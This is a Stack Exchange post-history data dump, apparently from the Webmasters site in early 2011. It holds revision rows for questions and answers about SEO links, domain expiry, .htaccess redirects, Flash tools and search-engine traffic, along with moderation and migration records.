  <row Id="21821" PostHistoryTypeId="2" PostId="9817" RevisionGUID="417d5efb-a274-4411-8a96-cb0def3d974e" CreationDate="2011-02-24T11:40:13.573" UserDisplayName="Ervin" Text="I have a website: &lt;http://www.amenajari-gradini-mures.ro&gt; and I will put links on &lt;http://www.casesigradini.ro&gt; .&#xD;&#xA;I would like to know which one is better from the point of view of SEO: &#xD;&#xA;- to have one single link on the homepage OR&#xD;&#xA;- to have a link on every page (about 48000 pages) ?&#xD;&#xA;&#xD;&#xA;Right now I got my link up on every page. But if it's better to have it on one page only (or maybe on few main pages ) then i'll take it out the rest.&#xD;&#xA;&#xD;&#xA;Please give some arguments for your answers.&#xD;&#xA;Thanks" />
  <row Id="21822" PostHistoryTypeId="1" PostId="9817" RevisionGUID="417d5efb-a274-4411-8a96-cb0def3d974e" CreationDate="2011-02-24T11:40:13.573" UserDisplayName="Ervin" Text="Which one is better? To have link on one page or on all pages?" />
  <row Id="21823" PostHistoryTypeId="3" PostId="9817" RevisionGUID="417d5efb-a274-4411-8a96-cb0def3d974e" CreationDate="2011-02-24T11:40:13.573" UserDisplayName="Ervin" Text="&lt;seo&gt;&lt;links&gt;&lt;sem&gt;" />
  <row Id="21824" PostHistoryTypeId="17" PostId="9817" RevisionGUID="96b6c1da-9190-4dd7-a853-c3e7fa00bffd" CreationDate="2011-02-28T21:29:34.403" UserId="-1" Comment="from http://stackoverflow.com/questions/5104129/which-one-is-better-to-have-link-on-one-page-or-on-all-pages" Text="" />
  <row Id="21825" PostHistoryTypeId="2" PostId="9819" RevisionGUID="d0bd7dc7-323c-4e38-b4ac-622beff43bd6" CreationDate="2011-02-28T21:42:02.363" UserId="5406" Text="Web design grids focus on vertical grids because of the nature of browser rendering.  The content is not known, nor the text size, and so the space consumed by arbitrary text is unknown.  This is handled in browser rendering by flowing the text, first to the right, and when the right-hand end of the container is reached, vertically downwards to a new line.  This means the vertical direction is the one that has to be flexible and unconstrained.  You can't constrain both dimensions unless you know what every pixel will be, in which case you can just send an image with the exact layout you want instead of html text." />
  <row Id="21826" PostHistoryTypeId="2" PostId="9820" RevisionGUID="0457486a-903c-4ace-adee-ae96b75ddba6" CreationDate="2011-02-28T22:10:21.677" UserDisplayName="user5724" Text="You cannot transfer the domain to another registrar after it has expired when it is in the 30 day Redemption Grace Period.  You can only renew it with the registrar is is registered with." />
  <row Id="21827" PostHistoryTypeId="2" PostId="9821" RevisionGUID="f3c13b2e-da70-4121-938f-09093034cad7" CreationDate="2011-02-28T22:26:18.270" UserId="5648" Text="I am an experienced web developer on a shoestring budget. What **free** or *very inexpensive* ways exist to create a website using Adobe Flash?&#xD;&#xA;&#xD;&#xA;Even low-level manipulations would be appreciated, like an actionscript compiler, so I could design something basic like an interactive map.&#xD;&#xA;&#xD;&#xA;Please don't just link to [osflash.org][1], their site is not well designed and I've already linked to it ;).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://osflash.org" />
  <row Id="21828" PostHistoryTypeId="1" PostId="9821" RevisionGUID="f3c13b2e-da70-4121-938f-09093034cad7" CreationDate="2011-02-28T22:26:18.270" UserId="5648" Text="Free way to create flash content" />
  <row Id="21829" PostHistoryTypeId="3" PostId="9821" RevisionGUID="f3c13b2e-da70-4121-938f-09093034cad7" CreationDate="2011-02-28T22:26:18.270" UserId="5648" Text="&lt;flash&gt;&lt;free&gt;" />
  <row Id="21830" PostHistoryTypeId="2" PostId="9822" RevisionGUID="6e9f6888-ae20-486d-b55c-c625f9ccbed9" CreationDate="2011-02-28T23:18:08.233" UserDisplayName="user5726" Text="+1 MODX due to the fact that there's no &quot;theming&quot; framework to work within like many CMSs. The learning curve for integrating full custom design is not steep at all and the community is SUPER friendly and helpful.&#xD;&#xA;&#xD;&#xA;This is all coming from a designer/front end developer type. I'm no PHP whizz by any stretch of the imagination... and you don't have to be with MODX. But you CAN be and do pretty much anything with it. It is loved dearly by designers and developers alike which isn't easy to find in a CMS in my opinion.&#xD;&#xA;&#xD;&#xA;All this being said, there's other great CMSs out there as well. I'll list a few that I'm also interested in learning more about and how to integrate: WordPress, Drupal, Silverlight and a new kid on the block, ProcessWire.&#xD;&#xA;&#xD;&#xA;I hope this is helpful. Cheers!" />
  <row Id="21831" PostHistoryTypeId="4" PostId="9731" RevisionGUID="12a2c4f0-1b38-4cd4-9528-7637056ee244" CreationDate="2011-02-28T23:20:47.317" UserId="5406" Comment="Make headline question more readable; add parking tag" Text="Why do non-working websites look like search indexes?" />
  <row Id="21832" PostHistoryTypeId="6" PostId="9731" RevisionGUID="12a2c4f0-1b38-4cd4-9528-7637056ee244" CreationDate="2011-02-28T23:20:47.317" UserId="5406" Comment="Make headline question more readable; add parking tag" Text="websiteparking" />
  <row Id="21833" PostHistoryTypeId="24" PostId="9731" RevisionGUID="12a2c4f0-1b38-4cd4-9528-7637056ee244" CreationDate="2011-02-28T23:20:47.317" Comment="Proposed by 5406 approved by 1064 edit id of 40" />
  <row Id="21834" PostHistoryTypeId="25" PostId="9821" RevisionGUID="cde5926d-2439-48c0-8f3c-798a3d2ebd85" CreationDate="2011-02-28T23:23:08.103" Comment="http://twitter.com/#!/StackWebmasters/status/42364202479923200" />
  <row Id="21835" PostHistoryTypeId="2" PostId="9823" RevisionGUID="2101c7ea-5ab9-4513-90b0-6d12e0a82911" CreationDate="2011-02-28T23:34:25.997" UserId="1064" Text="The numbers quoted below seem about right for campaigns which I've run (I'd add that the most abysmal CTR I've seen was 10k:1 for a banner ad on a site which ran multiple banner ads - it ran for three months, had millions of views, and resulted in three conversions, all of which canceled within their first month).&#xD;&#xA;&#xD;&#xA;&gt; * Low conversion rate 1:500. &#xD;&#xA;&gt; * Ordinary 1:100&#xD;&#xA;&gt; * Good 1:5 &#xD;&#xA;&gt; * Unbelievable 1:1&#xD;&#xA;&gt; &#xD;&#xA;&gt; ---&#xD;&#xA;&gt; &#xD;&#xA;&gt; * Low CTR: 0.5%&#xD;&#xA;&gt; * Ordinary: 2.5%&#xD;&#xA;&gt; * Good: 10%&#xD;&#xA;&gt; * Outstanding: 60%&#xD;&#xA;&#xD;&#xA;Source: [What is the typical CTR and conversion ranges?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.fi/support/forum/p/AdWords/thread?tid=4c7dc30160b74e40&amp;hl=en" />
  <row Id="21836" PostHistoryTypeId="2" PostId="9824" RevisionGUID="cbcf32e3-017d-473b-99b0-645c66da9468" CreationDate="2011-02-28T23:55:26.637" UserId="5718" Text="The problem is that you're referring to a directory that doesn't exist. Is the .htaccess file in the root directory of you're server?" />
  <row Id="21837" PostHistoryTypeId="2" PostId="9825" RevisionGUID="131012b1-2ea0-4266-bf1a-f031994100a0" CreationDate="2011-03-01T00:18:00.273" UserId="5406" Text="You could have a look at [SWFTools][1] (or see [Wikipedia article][2]). It's a free command-line  based SWF file creator/manipulator suite.  Windows binaries and *nix source available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.swftools.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SWFTools" />
  <row Id="21838" PostHistoryTypeId="2" PostId="9826" RevisionGUID="5b1da047-3869-4112-bda1-fe6226882c97" CreationDate="2011-03-01T02:11:43.500" UserId="5729" Text="I want to embed a table on my website similar to this one:&#xD;&#xA;&#xD;&#xA;http://www.footballsfuture.com/2011/combine/qb.html&#xD;&#xA;&#xD;&#xA;My website editor does not have a table function but I can put in &lt;embed&gt; html tags such as polls found on [micropoll][1].&#xD;&#xA;&#xD;&#xA;Has anyone found a table-creator website out there?&#xD;&#xA;&#xD;&#xA;Thanks, &#xD;&#xA;&#xD;&#xA;Zutroy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.micropoll.com" />
  <row Id="21839" PostHistoryTypeId="1" PostId="9826" RevisionGUID="5b1da047-3869-4112-bda1-fe6226882c97" CreationDate="2011-03-01T02:11:43.500" UserId="5729" Text="Are there any table-chart creating websites?" />
  <row Id="21840" PostHistoryTypeId="3" PostId="9826" RevisionGUID="5b1da047-3869-4112-bda1-fe6226882c97" CreationDate="2011-03-01T02:11:43.500" UserId="5729" Text="&lt;embed&gt;&lt;table&gt;" />
  <row Id="21842" PostHistoryTypeId="25" PostId="9813" RevisionGUID="755f28ad-bf91-4879-999d-d81320355904" CreationDate="2011-03-01T02:23:12.533" Comment="http://twitter.com/#!/StackWebmasters/status/42409520542126081" />
  <row Id="21844" PostHistoryTypeId="2" PostId="9828" RevisionGUID="c67b43fa-b292-4911-83e7-28fb63aa4d80" CreationDate="2011-03-01T03:00:17.947" UserId="5157" Text="You can take a look at these WordPress themes @ http://themeforest.net/category/wordpress&#xD;&#xA;&#xD;&#xA;There are dozens of themes that look similar." />
  <row Id="21845" PostHistoryTypeId="2" PostId="9829" RevisionGUID="63d7e24a-711b-4026-81bd-7ff96d460dcb" CreationDate="2011-03-01T03:07:14.040" UserId="5157" Text="You can try this in the .htaccess file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;Limit GET HEAD POST&gt;&#xD;&#xA;    order allow,deny&#xD;&#xA;    Country: China&#xD;&#xA;    ISO Code: CN&#xD;&#xA;    allow from all&#xD;&#xA;    &lt;/Limit&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21850" PostHistoryTypeId="2" PostId="9831" RevisionGUID="5f83c65d-ff9a-4638-a0c2-b13a03c1881d" CreationDate="2011-03-01T04:17:11.200" UserId="5026" Text="I've moved my Wordpress installation from one domain to another, and I want to use an .htaccess file on the original to redirect visitors to the new page on the new website.&#xD;&#xA;&#xD;&#xA;The old site is http://www.steve.doig.com.au/wordpress/.&#xD;&#xA;&#xD;&#xA;The new site is http://www.superlogical.net&#xD;&#xA;&#xD;&#xA;I tried using tried using the following .htaccess file in the /wordpress directory:&#xD;&#xA;&#xD;&#xA;&gt; RedirectMatch 301 http://www.steve.doig.com.au/wordpress(.*) http://www.superlogical.net/$1&#xD;&#xA;&#xD;&#xA;However, all this does is redirect visitors to the URL: http://www.superlogical.net/wordpress/&#xD;&#xA;&#xD;&#xA;I guess this is working properly, but I don't have Wordpress installed in a /wordpress folder on the new domain.  How do I remove this from the URL redirected to?&#xD;&#xA;&#xD;&#xA;Thanks.." />
  <row Id="21851" PostHistoryTypeId="1" PostId="9831" RevisionGUID="5f83c65d-ff9a-4638-a0c2-b13a03c1881d" CreationDate="2011-03-01T04:17:11.200" UserId="5026" Text=".htaccess RedirectMatch 301 issue" />
  <row Id="21852" PostHistoryTypeId="3" PostId="9831" RevisionGUID="5f83c65d-ff9a-4638-a0c2-b13a03c1881d" CreationDate="2011-03-01T04:17:11.200" UserId="5026" Text="&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="21853" PostHistoryTypeId="2" PostId="9832" RevisionGUID="ceb2031b-f406-4a62-afad-c4695a88d9dd" CreationDate="2011-03-01T04:44:51.843" UserId="4803" Text="That site uses &lt;a href=&quot;http://www.google.com/google-d-s/spreadsheets/&quot;&gt;Google Spreadsheets&lt;/a&gt; to get that effect.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://embeddable.blogspot.com/2007/04/embed-google-spreadsheet-in-your.html&quot;&gt;Here's how&lt;/a&gt;." />
  <row Id="21854" PostHistoryTypeId="2" PostId="9833" RevisionGUID="e02192d8-93b3-49d4-9f84-f91227481d70" CreationDate="2011-03-01T04:45:56.700" UserId="5733" Text="I'm trying to implement a registration system for a board I'm running, and I want a forum where every thread is invisible to everyone but the person who started it and the moderator staff. &#xD;&#xA;&#xD;&#xA;I want the staff to be able to post and for the person registering to respond, but I haven't been able to find a per-post visibility solution. Are there any mods that perform this task, or is there a hidden setting in the software somewhere?" />
  <row Id="21855" PostHistoryTypeId="1" PostId="9833" RevisionGUID="e02192d8-93b3-49d4-9f84-f91227481d70" CreationDate="2011-03-01T04:45:56.700" UserId="5733" Text="Per-Thread Visibility PHPBB" />
  <row Id="21856" PostHistoryTypeId="3" PostId="9833" RevisionGUID="e02192d8-93b3-49d4-9f84-f91227481d70" CreationDate="2011-03-01T04:45:56.700" UserId="5733" Text="&lt;php&gt;&lt;forum&gt;&lt;phpbb&gt;" />
  <row Id="21857" PostHistoryTypeId="2" PostId="9834" RevisionGUID="ee29fb56-9a3e-40cb-8df1-b1a8ec89b400" CreationDate="2011-03-01T05:20:28.503" UserId="5734" Text="I am planning on launching a new version of my current company website.&#xD;&#xA;I have a lot of pageviews (measured through websiteoutlook.com).&#xD;&#xA;Will having the new site (with new pages) affect the pageviews, and therefore my search engine ranking?&#xD;&#xA;&#xD;&#xA;If yes, what can I do to preserve my search engine ranking?&#xD;&#xA;Thanks!" />
  <row Id="21858" PostHistoryTypeId="1" PostId="9834" RevisionGUID="ee29fb56-9a3e-40cb-8df1-b1a8ec89b400" CreationDate="2011-03-01T05:20:28.503" UserId="5734" Text="Will having a new site affect my pageviews on websiteoutlook.com" />
  <row Id="21859" PostHistoryTypeId="3" PostId="9834" RevisionGUID="ee29fb56-9a3e-40cb-8df1-b1a8ec89b400" CreationDate="2011-03-01T05:20:28.503" UserId="5734" Text="&lt;seo&gt;" />
  <row Id="21860" PostHistoryTypeId="25" PostId="9826" RevisionGUID="06924d22-1efb-4d09-91ee-4a872b5a46ce" CreationDate="2011-03-01T05:23:12.487" Comment="http://twitter.com/#!/StackWebmasters/status/42454819079860224" />
  <row Id="21861" PostHistoryTypeId="25" PostId="9803" RevisionGUID="e7d448d6-12c7-45b9-b164-136efebf7df9" CreationDate="2011-03-01T08:23:12.627" Comment="http://twitter.com/#!/StackWebmasters/status/42500118653566976" />
  <row Id="21862" PostHistoryTypeId="2" PostId="9835" RevisionGUID="023f19c4-4389-4276-916d-62e3f818e175" CreationDate="2011-03-01T09:07:44.180" UserId="5727" Text="I know this is totally dependant on site content/type etc etc, but people ask questions about what is considered a good CTR for ads so I think this question has merit.&#xD;&#xA;&#xD;&#xA;Given x page views a month and n unique visitors, what would be considered a decent:&#xD;&#xA;&#xD;&#xA; - Forum account sign up rate (site interest indicator)&#xD;&#xA; - Forum posts per month (site health indicator)" />
  <row Id="21863" PostHistoryTypeId="1" PostId="9835" RevisionGUID="023f19c4-4389-4276-916d-62e3f818e175" CreationDate="2011-03-01T09:07:44.180" UserId="5727" Text="Forum signup rate" />
  <row Id="21864" PostHistoryTypeId="3" PostId="9835" RevisionGUID="023f19c4-4389-4276-916d-62e3f818e175" CreationDate="2011-03-01T09:07:44.180" UserId="5727" Text="&lt;forum&gt;&lt;visitors&gt;&lt;conversions&gt;" />
  <row Id="21865" PostHistoryTypeId="2" PostId="9836" RevisionGUID="7f544892-520d-4610-a3f3-223bb02ef2b8" CreationDate="2011-03-01T09:25:32.927" UserId="4929" Text="A bit off topic, but this is my general proceeding to improve CTRs:&#xD;&#xA;&#xD;&#xA; 1. Being ruthless with low CTRs below the average for a period (a month usually).&#xD;&#xA; 2. Increase the max bid on the better ones if needed.&#xD;&#xA; 3. Search for keywords similar/related to the ones with better CTRs.&#xD;&#xA; 4. Wait until the keywords reach a decent number of impressions and repeat the process.&#xD;&#xA;&#xD;&#xA;I often have to &quot;fight&quot; with the customer to get rid of general keywords with poor CTRs but a high number of impressions, but eventually is usually worth it." />
  <row Id="21866" PostHistoryTypeId="2" PostId="9837" RevisionGUID="9ee47fa9-3934-4bc1-985e-af080d2f6dd9" CreationDate="2011-03-01T09:43:24.243" UserId="1950" Text="&gt; Will having the new site (with new pages) affect the pageviews, and therefore my search engine ranking?&#xD;&#xA;&#xD;&#xA;That question is the wrong way around. Your pageviews will not affect your SER, but your SER may affect your pageviews.&#xD;&#xA;&#xD;&#xA;It will very probably affect it. The question is probably: How much?&#xD;&#xA;&#xD;&#xA;You definitely want to check how many people visit your website through search engines.&#xD;&#xA;&#xD;&#xA;SEO may improve or worsen, depending on how you do your relaunch. The most important things:&#xD;&#xA;&#xD;&#xA;* Optimize your new site for SEO. (maybe speaking URLs, proper headlines and markup, keywords, etc etc)&#xD;&#xA;* Try to keep your URLs to point to the updated content, and/or make them redirect to the updated content. If you had `/content/about` and now want to use `/about`, make that `/content/about` now redirects to `/about` with the proper HTML status code." />
  <row Id="21867" PostHistoryTypeId="2" PostId="9838" RevisionGUID="631de779-9d09-4632-b7d8-f4dddf2512a7" CreationDate="2011-03-01T09:49:16.863" UserId="1950" Text="As you’re using regexp on the second parameter you want to escape the dots. Change&#xD;&#xA;&#xD;&#xA;    http://www.steve.doig.com.au/wordpress(.*)&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    http://www\.steve\.doig\.com\.au/wordpress(.*)&#xD;&#xA;&#xD;&#xA;The logic itself, how you meant it, should work though. Passing the following URL-part to the new URL." />
  <row Id="21868" PostHistoryTypeId="2" PostId="9839" RevisionGUID="06505196-a597-4a4d-becc-92cb824814df" CreationDate="2011-03-01T10:42:59.153" UserId="5739" Text="Also, when a domain expires but is still within the Grace period it will be parked on one of these services eg Sedo.&#xD;&#xA;&#xD;&#xA;http://www.sedo.com/uk/park-domains/how-parking-works/?tracked=&amp;partnerid=20293&amp;language=e" />
  <row Id="21869" PostHistoryTypeId="5" PostId="9839" RevisionGUID="e675cfc6-6b94-4bb5-bef7-4094cdad8752" CreationDate="2011-03-01T10:48:44.920" UserId="5739" Comment="added 550 characters in body" Text="When a domain expires but is still within the Grace period it will be parked on one of these PPC services for example Sedo. You will find that most registrars become the official owner of the domain but might still allow the registrant to renew it (there is no contractual obligation to do so!). &#xD;&#xA;&#xD;&#xA;This period also allows the registrar to test the domain for traffic and revenue by putting up PPC (pay per click) ads on the domain.&#xD;&#xA;&#xD;&#xA;For more info see this great article: http://www.dailydomainer.com/2007124-expired-but-not-gone.html&#xD;&#xA;&#xD;&#xA;and an example of one of these domain parking companies&#xD;&#xA;&#xD;&#xA;http://www.sedo.com/uk/park-domains/how-parking-works/?tracked=&amp;partnerid=20293&amp;language=e&#xD;&#xA;&#xD;&#xA;regards,&#xD;&#xA;&#xD;&#xA;Hedley Phillips&#xD;&#xA;Digital Essence&#xD;&#xA;Web Design &amp; Hosting" />
  <row Id="21870" PostHistoryTypeId="2" PostId="9840" RevisionGUID="df483d4b-85a7-4a76-92b4-34e6d7ed3353" CreationDate="2011-03-01T10:58:38.530" UserId="5739" Text="A lot of hosts don't allow the transfer during the 30 day grace period (often called the registrar's grace period) as technically they now own the domain but &quot;kindly&quot; allow the registrant to renew, although they technically don't have to do this and some hosts don't!&#xD;&#xA;&#xD;&#xA;GoDaddy do and also allow transfers during this period. See their FAQ here: http://help.godaddy.com/article/795" />
  <row Id="21871" PostHistoryTypeId="25" PostId="9835" RevisionGUID="9ed925cb-ad41-4a16-a0e0-0137e568813c" CreationDate="2011-03-01T11:23:12.287" Comment="http://twitter.com/#!/StackWebmasters/status/42545415794606080" />
  <row Id="21872" PostHistoryTypeId="17" PostId="9842" RevisionGUID="d449aa40-7c20-49d0-83ba-577ab5ea4287" CreationDate="2011-03-01T12:07:25.420" UserId="-1" Comment="from http://superuser.com/questions/251731/new-site-tons-of-traffic-from-google-nothing-from-yahoo-or-bing-what-gives/251742#251742" Text="" />
  <row Id="21873" PostHistoryTypeId="2" PostId="9842" RevisionGUID="0cb66686-21b6-4530-aaab-f0d7b7a60b6d" CreationDate="2011-03-01T11:56:01.313" UserDisplayName="Ofir" Text="See the webmaster tools of the sites: &lt;a href=&quot;http://www.bing.com/toolbox/webmasters/?rfp=1529310102&quot;&gt;Bing&lt;/a&gt;, &#xD;&#xA;&lt;a href=&quot;http://siteexplorer.search.yahoo.com/submit&quot;&gt;Yahoo&lt;/a&gt;." />
  <row Id="21874" PostHistoryTypeId="2" PostId="9841" RevisionGUID="ca29d650-313f-45b0-bd31-4e3c04ea13e4" CreationDate="2011-03-01T10:58:56.947" UserDisplayName="T. Brian Jones" Text="I've launched a number of sites recently (8-12 weeks) that are getting tons of traffic from google search at an increasing rate (both image and web), but they are getting absolutely nothing from bing or yahoo.  what gives?  what are some tricks to get yahoo and bing to send some search traffic?&#xD;&#xA;&#xD;&#xA;here's an example:&#xD;&#xA;http://www.mybearingmanufacturers.com" />
  <row Id="21875" PostHistoryTypeId="1" PostId="9841" RevisionGUID="ca29d650-313f-45b0-bd31-4e3c04ea13e4" CreationDate="2011-03-01T10:58:56.947" UserDisplayName="T. Brian Jones" Text="New site. Tons of traffic from Google. Nothing from Yahoo or Bing. What gives?" />
  <row Id="21876" PostHistoryTypeId="3" PostId="9841" RevisionGUID="ca29d650-313f-45b0-bd31-4e3c04ea13e4" CreationDate="2011-03-01T10:58:56.947" UserDisplayName="T. Brian Jones" Text="&lt;search&gt;&lt;startup&gt;&lt;seo&gt;" />
  <row Id="21877" PostHistoryTypeId="17" PostId="9841" RevisionGUID="aab60d3a-e117-4fff-87d0-20a86d0f08fe" CreationDate="2011-03-01T12:07:25.420" UserId="-1" Comment="from http://superuser.com/questions/251731/new-site-tons-of-traffic-from-google-nothing-from-yahoo-or-bing-what-gives" Text="" />
  <row Id="21878" PostHistoryTypeId="2" PostId="9843" RevisionGUID="a4635072-8314-4f00-bf0d-42dcdc802c58" CreationDate="2011-03-01T12:10:55.450" UserDisplayName="user5741" Text="Why does Google create Adsense, for example: [sample][1]. How can the company earn money from such site?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://elites56.blogspot.com" />
  <row Id="21879" PostHistoryTypeId="1" PostId="9843" RevisionGUID="a4635072-8314-4f00-bf0d-42dcdc802c58" CreationDate="2011-03-01T12:10:55.450" UserDisplayName="user5741" Text="How can Google profit from Adsense?" />
  <row Id="21880" PostHistoryTypeId="3" PostId="9843" RevisionGUID="a4635072-8314-4f00-bf0d-42dcdc802c58" CreationDate="2011-03-01T12:10:55.450" UserDisplayName="user5741" Text="&lt;google&gt;" />
  <row Id="21881" PostHistoryTypeId="10" PostId="9843" RevisionGUID="2ca4c258-2793-47d9-9da2-34096db3c36c" CreationDate="2011-03-01T12:33:54.930" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21882" PostHistoryTypeId="10" PostId="9835" RevisionGUID="b8404b16-4b32-4aaf-b9ec-c0315d3312e1" CreationDate="2011-03-01T12:35:21.183" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="21883" PostHistoryTypeId="5" PostId="9841" RevisionGUID="ea9dc9e9-54c4-43f2-b62c-fa293bf57a41" CreationDate="2011-03-01T12:37:32.320" UserId="1253" Comment="removed domain name so question won't be too localized" Text="I've launched a number of sites recently (8-12 weeks) that are getting tons of traffic from google search at an increasing rate (both image and web), but they are getting absolutely nothing from bing or yahoo.  what gives?  what are some tricks to get yahoo and bing to send some search traffic?&#xD;&#xA;" />
  <row Id="21884" PostHistoryTypeId="6" PostId="9841" RevisionGUID="ea9dc9e9-54c4-43f2-b62c-fa293bf57a41" CreationDate="2011-03-01T12:37:32.320" UserId="1253" Comment="removed domain name so question won't be too localized" Text="&lt;seo&gt;&lt;search&gt;&lt;startup&gt;" />
  <row Id="21885" PostHistoryTypeId="2" PostId="9844" RevisionGUID="f7690f0e-ad3d-480a-b5ed-c9ee97471c1f" CreationDate="2011-03-01T12:41:05.970" UserId="1089" Text="Check out [stackoverflow.com traffic sources in 2010][1] less than 1% of traffic comes from Bing.&#xD;&#xA;&#xD;&#xA;Is the problem Bing/Yahoo not ranking your site well, or no-one using Bing/Yahoo?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2011/01/trouble-in-the-house-of-google.html" />
  <row Id="21886" PostHistoryTypeId="17" PostId="9846" RevisionGUID="17a7d62a-854a-494d-b946-d8e98adb3052" CreationDate="2011-03-01T13:54:25.547" UserId="-1" Comment="from http://stackoverflow.com/questions/5141062/ebay-products-in-my-joomla-site/5141221#5141221" Text="" />
  <row Id="21887" PostHistoryTypeId="2" PostId="9846" RevisionGUID="e51776f5-5bb9-46f3-a07f-d129132a1d24" CreationDate="2011-02-28T11:12:49.593" UserDisplayName="AndreyM" Text="There are plenty of extensions for displaying ebay products: http://extensions.joomla.org/search?q=ebay" />
  <row Id="21888" PostHistoryTypeId="2" PostId="9845" RevisionGUID="fbeee5bc-a187-4812-b4f5-28c4f6b0d18e" CreationDate="2011-02-28T10:54:50.860" UserDisplayName="Seema" Text="I want show ebay products in my joomla site. Please give me your suggestion Or if any step by step instruction guide. Have any joomla extension provide this ???&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21889" PostHistoryTypeId="1" PostId="9845" RevisionGUID="fbeee5bc-a187-4812-b4f5-28c4f6b0d18e" CreationDate="2011-02-28T10:54:50.860" UserDisplayName="Seema" Text="ebay products in my joomla site" />
  <row Id="21890" PostHistoryTypeId="3" PostId="9845" RevisionGUID="fbeee5bc-a187-4812-b4f5-28c4f6b0d18e" CreationDate="2011-02-28T10:54:50.860" UserDisplayName="Seema" Text="&lt;joomla&gt;&lt;ebay&gt;" />
  <row Id="21891" PostHistoryTypeId="17" PostId="9845" RevisionGUID="36eabab9-670e-4be3-8350-48939f1d5037" CreationDate="2011-03-01T13:54:25.547" UserId="-1" Comment="from http://stackoverflow.com/questions/5141062/ebay-products-in-my-joomla-site" Text="" />
  <row Id="21892" PostHistoryTypeId="5" PostId="9843" RevisionGUID="e8430f8e-3332-49af-89b0-73772d7ed652" CreationDate="2011-03-01T14:09:24.100" UserId="1253" Comment="removed link to website unrelated to the question" Text="Why does Google create Adsense, for example How can the company earn money from such site?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21893" PostHistoryTypeId="25" PostId="9841" RevisionGUID="82164b78-5a4b-4967-b023-1d42d5f669a3" CreationDate="2011-03-01T14:23:12.453" Comment="http://twitter.com/#!/StackWebmasters/status/42590714932101120" />
  <row Id="21894" PostHistoryTypeId="2" PostId="9847" RevisionGUID="51e58c49-ca93-421d-9fcd-55a18a5a3988" CreationDate="2011-03-01T14:34:40.553" UserDisplayName="Alex" Text="I did a standard 301 redirect for a domain, but the original domain has about 300 pages that have some strength.&#xD;&#xA;&#xD;&#xA;It doesn't make sense to make them all point back to the new home page because the individual pages are about some topics.&#xD;&#xA;&#xD;&#xA;Also, there aren't the same pages in the new domain, so where should the original random pages redirect to? I would like to have them rank for the same topics they used to, but without having the original domain giving them strength, they will just stop ranking and die off.&#xD;&#xA;&#xD;&#xA;What should I do?&#xD;&#xA;&#xD;&#xA;Thanks, Alex&#xD;&#xA;" />
  <row Id="21895" PostHistoryTypeId="1" PostId="9847" RevisionGUID="51e58c49-ca93-421d-9fcd-55a18a5a3988" CreationDate="2011-03-01T14:34:40.553" UserDisplayName="Alex" Text="What to do with random pages after a 301 redirect?" />
  <row Id="21896" PostHistoryTypeId="3" PostId="9847" RevisionGUID="51e58c49-ca93-421d-9fcd-55a18a5a3988" CreationDate="2011-03-01T14:34:40.553" UserDisplayName="Alex" Text="&lt;website&gt;&lt;seo&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="21897" PostHistoryTypeId="17" PostId="9847" RevisionGUID="1bb4952e-9491-4e3f-b55d-5b4d4b74fee0" CreationDate="2011-03-01T15:09:21.660" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13016/what-to-do-with-random-pages-after-a-301-redirect" Text="" />
  <row Id="21898" PostHistoryTypeId="2" PostId="9848" RevisionGUID="64a75c30-8b3f-4dd5-859c-7db613d86710" CreationDate="2011-03-01T14:21:04.003" UserId="971" Text="&#xD;&#xA;I am working on an ecommerce site, I told our SEO consultant that I plan to make the URL scheme: `/products/&lt;id&gt;/&lt;name&gt;`. This is similar to Stackoverflow's URLs which are `/questions/&lt;id&gt;/&lt;title&gt;`.&#xD;&#xA;&#xD;&#xA;He asked me if I could change the URL scheme to `/p/&lt;id&gt;/&lt;name&gt;` instead. I know why he wants this change, the word &quot;products&quot; isn't needed to find the correct product, and it doesn't offer any SEO, so shortening it to just `p` would make the relevant keywords in the `&lt;name&gt;` weigh more.&#xD;&#xA;&#xD;&#xA;His main priority is maximizing SEO, but the part that I don't think he is considering is how this effects the semantics of the site. Also having the word &quot;products&quot; looks like it has meaning and a reason for being there, just having a `p` looks chaotic and ugly to me. I also don't think it makes *that* much of a difference does it? Stackoverflow doesn't use `/q/&lt;id&gt;/&lt;title&gt;` and they do just fine, I do realize that theres many factors at play here though, not just the URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So I want some outside opinions on which is the better way and why?" />
  <row Id="21899" PostHistoryTypeId="1" PostId="9848" RevisionGUID="64a75c30-8b3f-4dd5-859c-7db613d86710" CreationDate="2011-03-01T14:21:04.003" UserId="971" Text="Squeezing all the SEO out of a URL as possible." />
  <row Id="21900" PostHistoryTypeId="3" PostId="9848" RevisionGUID="64a75c30-8b3f-4dd5-859c-7db613d86710" CreationDate="2011-03-01T14:21:04.003" UserId="971" Text="&lt;url&gt;&lt;seo&gt;" />
  <row Id="21901" PostHistoryTypeId="17" PostId="9848" RevisionGUID="fb992241-34af-4b36-95a2-7facbe1c514e" CreationDate="2011-03-01T15:24:49.540" UserId="-1" Comment="from http://stackoverflow.com/questions/5155743/squeezing-all-the-seo-out-of-a-url-as-possible" Text="" />
  <row Id="21902" PostHistoryTypeId="17" PostId="9850" RevisionGUID="a5fdcd85-9c91-408c-90ca-41bf1bf3e022" CreationDate="2011-03-01T15:25:54.437" UserId="-1" Comment="from http://stackoverflow.com/questions/5156476/how-to-forward-mydomain-com-to-www-mydomain-com-on-godaddy/5156505#5156505" Text="" />
